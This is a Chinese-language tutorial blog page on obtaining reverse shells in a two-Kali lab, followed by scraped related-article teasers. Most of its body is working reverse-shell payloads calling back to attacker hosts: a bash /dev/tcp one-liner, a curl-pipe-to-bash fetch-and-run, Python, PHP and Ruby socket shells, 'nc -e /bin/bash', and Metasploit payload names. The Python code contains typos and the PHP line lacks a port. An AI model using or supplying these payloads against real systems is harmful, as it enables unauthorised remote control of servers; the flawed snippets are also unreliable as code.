什么是反弹shell?

简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:http(https)://ip:80,这是因为在服务器上面开启了80端口的监听,我们去访问它的时候,就会给我们建立连接。而现在所谓的反弹shell指的是反过来在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,然后我们就能通过反弹的shell去远程控制服务器了。

实验环境

kali 192.168.1.16
kali 192.168.1.13
方法1:使用linux命令反弹shell
反弹shell命令格式如下:

bash -i >& /dev/tcp/ip/port 0>&1

先在要反弹回来shell的16上面 监听随便一个未开放的端口 且防火墙允许访问的

然后再被攻击机 13 上面执行命令

看见成功反弹shell

第二种思路 curl命令反弹shell  公网vps 放shell脚本

kali 192.168.1.16
kali 192.168.1.13
windows 192.168.1.12

第一步 公网vps上面放bash脚本

第二步 被攻击机 执行命令

curl 192.168.1.12/bash |bash

然后shell就反弹回来了

关于 反弹shell命令解析 看卿先生博客园(很细)

https://www.cnblogs.com/-qing-/p/11247720.html

python反弹shell

import socket,subprocess,os
s=scoket.socket(socket.AF_INET,socke.SOCK_STREAM) //socket.AF_INET:。另一个地址家族AF_INET6用于第6版因特网协议(IPv6)寻址 SOCK_STREAM建立tcp链接
s.connect(("192.168.1.12",7111))#你要回shell的机子
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

反弹shell

PHP反弹shell

<?php
$sock=fsockopen("192.168.43.151",);//自己的外网ip,端口任意
exec("/bin/sh -i <&3 >&3 2>&3");
?>

ruby反弹shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.43.151","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

下面是直接用的msf反弹

java反弹

直接贴msf了

use payload/java/shell/reverse_tcp

lua反弹

use payload/cmd/unix/reverse_lua

NC反弹

nc -e /bin/bash 192.168.1.16 7111

Liunx反弹shell的几种方式的更多相关文章

  1. 启动bash shell的三种方式下,检查的启动文件

    启动bash shell的三种方式 1.登录时当做默认登录shell 2.作为非登录shell的交互式shell 3.作为运行脚本的非交互shell 一.登录shell 登录Linux系统时,bash ...

  2. Centos上执行Shell的四种方式

    注意:我这里说的shell脚本是Bash Shell,其他类型的shell脚本不保证有效 1,方式一:进入shell文件所在目录 ./my.sh执行 ./my.sh ./的意思是说在当前的工作目录下执 ...

  3. NC反弹shell的几种方法

    假如ubuntu.CentOS为目标服务器系统 kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用 最终是将ubuntu.CentOS的shell反弹到kali上 正向 ...

  4. [Shell]Telnet反弹shell

    原作者:包子love 文章出处:黑白之道 今天给大家介绍两种telnet反弹shell的方法,相对于其他方式反弹shell要简单一点,可作为按需远程控制或留后门使用,希望可以帮助到大家. 前提条件:目 ...

  5. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

  6. 从一次渗透谈到linux如何反弹shell

    零.绪论 背景: ThinkPHP框架的--> 找到一个OS命令注入(很简单的Burp可以直接扫出来的那种):页面配置系统默认网关处. 一.渗透过程 1.首先看了一下,没有回显. 2.用ceye ...

  7. msf反弹shell

    今天回顾了一下msf反弹shell的操作,在这里做一下记录和分享.( ̄︶ ̄)↗ 反弹shell的两种方法 第一种Msfvenom实例: 1.msfconsole #启动msf 2.msfvenom - ...

  8. Shell脚本中执行mysql的几种方式(转)

    Shell脚本中执行mysql的几种方式(转) 对于自动化运维,诸如备份恢复之类的,DBA经常需要将SQL语句封装到shell脚本.本文描述了在Linux环境下mysql数据库中,shell脚本下调用 ...

  9. Shell 脚本中调用另一个 Shell 脚本的三种方式

    主要以下有几种方式: Command Explanation fork 新开一个子 Shell 执行,子 Shell 可以从父 Shell 继承环境变量,但是子 Shell 中的环境变量不会带回给父 ...

随机推荐

  1. MyBatis 源码篇-DataSource

    本章介绍 MyBatis 提供的数据源模块,为后面与 Spring 集成做铺垫,从以下三点出发: 描述 MyBatis 数据源模块的类图结构: MyBatis 是如何集成第三方数据源组件的: Pool ...

  2. selenium之动作链

    概念:一组连续的行为动作 爬取网站:https://www.runoob.com/try/try.php?filename=jqueryui-api-droppable 背景:把左边的方块横竖往下便宜 ...

  3. OpenCl入门getting-started-with-opencl-and-gpu-computing

    原文来自于:getting-started-with-opencl-and-gpu-computing/ 对整个程序的注释:http://www.kimicat.com/opencl-1/opencl ...

  4. 忘记root密码,修改方法

    Linux的root密码修改不像Windows的密码修改找回,Windows的登录密码忘记需要介入工具进行解决.CentOS6和CentOS7的密码方法也是不一样的,具体如下: 首先是CentOS 6 ...

  5. DX使用随记--TabControl

    1. 关闭TabControl选项卡: Private Sub TabControl_Main_CloseButtonClick(sender As Object, e As EventArgs) H ...

  6. Java和操作系统交互(Java 代码是怎么执行)(转)

    结合 CPU 理解一行 Java 代码是怎么执行的 根据冯·诺依曼思想,计算机采用二进制作为数制基础,必须包含:运算器.控制器.存储设备,以及输入输出设备,如下图所示. 我们先来分析 CPU 的工作原 ...

  7. IDEA乱码总结和处理

    工程乱码 打开File-Setting, 找到File Encodings这个选项,把encoding设置成你工程的编码即可,一般是UTF-8,如下图(红框的地方),然后重新rebuild一下,基本就 ...

  8. Delphi 重载方法与重定义方法

  9. Linux小试牛刀

    1.统计出/etc/passwd文件中其默认shell为非/sbin/nologin的用户个数,并将用户都显示出来 [root@centos7data]#getent passwd | grep -v ...

  10. 11_Redis_事务

    一:Redis 事务:目的为了进行Redis语句的批量化操作,不保证数据安全 Redis作为NoSQL数据库也同样提供了事务机制:在Redis中,MULTI/EXEC/DISCARD/这三个命令是我们 ...